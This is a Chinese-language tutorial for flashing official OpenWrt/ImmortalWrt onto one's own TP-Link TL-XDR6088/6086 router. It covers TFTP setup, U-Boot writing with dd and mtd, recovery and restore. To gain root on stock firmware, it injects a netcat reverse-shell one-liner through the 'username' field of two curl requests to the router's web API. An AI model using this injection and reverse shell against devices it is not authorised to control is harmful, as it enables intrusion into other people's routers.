本文包含了从原厂固件或其它 Openwrt 刷成官方 Openwrt/Immortalwrt 的方法。
网络上已经有不少文章、视频教程讲 TL-XDR6088/6086 如何刷 openwrt,但全都是刷的L改版,而非官方版。由于官方采用了不同分区格式和 uboot 版本的镜像,刷写的方法有很大区别,还没有人完整地记录过。
官方版对新硬件的支持有时候是更好的,获取固件也更灵活方便。而且,官方版全部是符合 GPL 的开源代码,社区支持也更好。
我手里这台是 TL-XDR6088,如果是 6086,自己操作的时候对应好型号和文件名就行,其余都是一样的。
截至本文写作时,原厂固件版本为 1.0.24 依然可以利用下面所说的 root 方法。将来更高版本可能不保证。
不需要螺丝刀,更不需要 TTL 串口,只需要一台可以连接网线的电脑。
注意事项:
- 建议先将路由器还原为出厂设置,避免因为设置不同导致的影响
- 将网线插在路由器的 1Gb 口上,另一头直连电脑。手动设置 IP 地址为 192.168.1.254,网关地址 192.168.1.1,子网掩码 255.255.255.0 —— 这里很重要,这是官方 openwrt uboot 的 tftp server 地址设置
- 如果你使用的是 Windows,那么强烈建议你先安装好 WSL
- 胆大心细,最重要的是心细,特别是你输入 dd 命令覆写 uboot 的时候,如果错了,就只能送修了。别的步骤都是可逆的,可以胆大
## 0. 下载镜像文件
本文写作时,最新的是 23.05.0-rc3 版。将来请用更新的稳定版本。
目前 Immortalwrt 已经支持:
- 双 2.5Gb 网口的正常驱动(但LED灯还不亮)
- WiFi6 160Mhz
- 硬件流量分载
- WED (Wireless Ethernet Dispatch) 无线加速
- 硬件 NAT 加速
- Fullcone NAT
OpenSpeedTest 在电脑上使用Intel AX210无线网卡测速
然后是喜闻乐见的iPhone 13测速
先看远端测速(2堵墙+1面衣柜)
再看近点测速
该有的都有了,当然 bug 也可能遇到。
## 1. 准备 TFTP 服务器
不要忘了把 TFTP 服务器的目录设为之前下载 Openwrt 镜像文件的目录。整个过程中,你需要一直保持 TFTP 服务器的运行,直到成功刷入镜像。
如果使用 Windows 11,需要以下的额外步骤确保 TFTPD64 能够为 uboot 所用。
```
netsh interface ipv4 set global dhcpmediasense=disabled
netsh interface ipv6 set global dhcpmediasense=disabled
```
2. 第一次运行 tftpd64 时,Windows 防火墙可能会问你是否允许,要同时勾选公共和专用网络上都允许,通常这样就可以了。你也可以在管理员权限的终端中为所有TFTP应用打开防火墙端口:
```
netsh advfirewall firewall add rule name="TFTP" dir=in action=allow protocol=udp localport=69 remoteip=localsubnet interfacetype=lan profile=private,public
```
## 2. 获取 root 权限控制台
### 2.1 如果路由器是原厂固件
2. 打开一个终端窗口,运行 `ncat -nvlp 4444`,开始侦听
4. 接下来,如果你是用的 Windows,在 WSL 终端里进行以下操作。而 Linux 或 macOS 的终端本身可以直接操作
5. 先把 stok 存入环境变量
```
export stok=<stok值>
```
6. 然后运行以下命令
```
curl
http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"table":"user","name":"user_1","para":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"0"}},"method":"add"}'
```
如果成功运行,则会返回 `{"error_code":0}`
8. 继续运行以下命令(一行)
```
curl
http://192.168.1.1/stok=${stok}/ds -H "Content-Type: application/json" -X POST -d '{"virtual**":{"user_1":{"username":";mkfifo /tmp/p;sh -i</tmp/p 2>&1|nc 192.168.1.254 4444 >/tmp/p&","password":"password","type":"l2tp","localip":"192.168.1.1","ippool":"ippool","dns":"1.1.1.1","netmode":"client2lan","maxsessions":"10","remotesubnet":"192.168.1.0/24","block":"1"}},"method":"set"}'
```
如果成功运行,则会返回 `{"error_code":0}`
此时,在步骤2中打开的终端窗口中,你应该会看到如下提示:
```
sh: can't access tty; job control turned off
BusyBox v1.19.4 (2022-07-20 12:29:22 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.
/ #
```
这就成功地开启了具有 root 权限的控制台命令行提示符了。
9. 如果想要重新启用这个控制台,你可以先重复步骤2,然后再把步骤8中的末尾 `"block":"1"` 改成 `"block":"0"` ,运行一下。然后再重复步骤8即可。
### 2.1 如果路由器已经刷了其它版本的 Openwrt
1. ssh 到 Openwrt 的控制台
2. 打开mtd写入(如果是L改版固件,这一步或可省)
```
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1
```
## 3. 传输 uboot 镜像
在这之前,先备份路由器的原厂固件,将来才能恢复。(逐条执行,小心一点,非原厂固件可跳过)
```
dd if=/dev/mtdblock9 of=/tmp/backup.img bs=131072
tftp -p -l /tmp/backup.img -r backup.img 192.168.1.254
md5sum /tmp/backup.img
```
最后一条命令是计算文件的 md5 值。在 TFTP 服务器收到文件后,也要在电脑上检查一下,确保两者一致。如果使用的是 Windows 电脑可以运行 `certutil -hashfile 文件名 md5` 来计算。在下面的步骤中,也建议你在通过 TFTP 传输了文件后检查两边的 md5 值是否相同,确保万无一失。毕竟,接下来的步骤出错会导致路由器变砖,必须拆芯片维修。
如果你用的非原厂固件,可能需要先通过 opkg 安装一下 tftp 软件包。
先把 uboot 文件传输过去:
```
tftp -g -l /tmp/preloader.bin -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-preloader.bin 192.168.1.254
tftp -g -l /tmp/bl31-uboot.fip -r immortalwrt-23.05.0-rc3-mediatek-filogic-tplink_tl-xdr6088-bl31-uboot.fip 192.168.1.254
```
传输完了先检查 md5,没问题就进行写入。
## 4. 写入 uboot
### 4.1 如果路由器是原厂固件
这时候你可以播放一首 Michael Jackson 的 Dangerous 作为背景音乐。
以下命令一定不能调换顺序,不然你将收获一块砖。
```
dd bs=131072 conv=sync of=/dev/mtdblock9 if=/tmp/preloader.bin
dd bs=131072 conv=sync of=/dev/mtdblock9 seek=28 if=/tmp/bl31-uboot.fip
```
正常的运行结果是(xyab是数字)
```
x+y records in
a+b records out
```
如果中途有什么错误发生了,请深呼吸一口,然后重新依次运行一遍。
### 4.2 如果路由器已经刷了其它版本的 Openwrt
```cat /proc/mtd```
得到mtd设备的真实命名,再用命令来写入
在 Openwrt 中运行
```
md5sum /tmp/preloader.bin
mtd erase BL2
mtd write /tmp/preloader.bin BL2
mtd verify /tmp/preloader.bin BL2
md5sum /tmp/bl31-uboot.fip
mtd erase FIP
mtd write /tmp/bl31-uboot.fip FIP
mtd verify /tmp/bl31-uboot.fip FIP
```
注意查看上传的两个文件 md5 并和本地文件对比,查看两次 mtd verify 最后是否输出输出 Success,没问题才可进行下一步。
## 5. 通过 tftp 载入 recovery 镜像
这时候你可以拔掉路由器的电源,然后插上。直接拔电源可能是最安全的,因为如果你用 reboot 命令,可能会有一些后台程序运行(包括可能你之前在慌乱中没有杀掉的误操作了的 dd)导致路由器变砖。别问我是怎么知道的。
此时 tftp 服务器上应该已经有提示了,路由器在请求的文件名为 `openwrt-mediatek-filogic-tplink_tl-xdr6088-initramfs-recovery.itb` 。你只需要把结尾为 `recovery.itb` 的文件,改名为这个就行了。
如果没动静,你可以拔下电源,然后顶住 reset 孔不放,同时插入电源,应该会看到 LAN 口的灯齐闪一下。大约10秒钟,应该就会进入 recovery 模式。确保网线插在 1Gb LAN 口上,网口的灯应该会亮的。
很快就会传输完成,下面是 Windows 上的 tftpd64 的文件报错,和改名后成功传输的截图。
## 6. 刷入 sysupgrade 镜像
在接收了 recovery 镜像后,路由器会马上启动 openwrt,这时候你在浏览器中输入网址 `192.168.1.1` 应该就可以打开 openwrt 的网页端了。
根据提示,在网页中上传 `sysupgrade.itb` 镜像文件,进行刷入。然后就大功告成了。
但这还不是结束,6088/6086 的硬件性能想要充分发挥,还需要进行一些优化设置。下一篇再记录。
## 7. 如何刷回原厂固件
前提是你有原厂固件的备份镜像。
1. 将备份的文件传到Openwrt的tmp目录
2. 打开mtd写入(如果是L改版固件,这一步或可省)
```
opkg update
opkg install kmod-mtd-rw
insmod mtd-rw i_want_a_brick=1
```
2. 上传backup.img到/tmp,之后拆分备份文件。
```
dd if=/tmp/backup.img of=/tmp/backup-mtd0.img bs=131072 count=8
```
```
mtd write /tmp/backup-mtd0.img /dev/mtd0
```
刷入Openwrt或者回原厂全程没有修改factory分区,无需担心mac地址或者无线信号受到影响。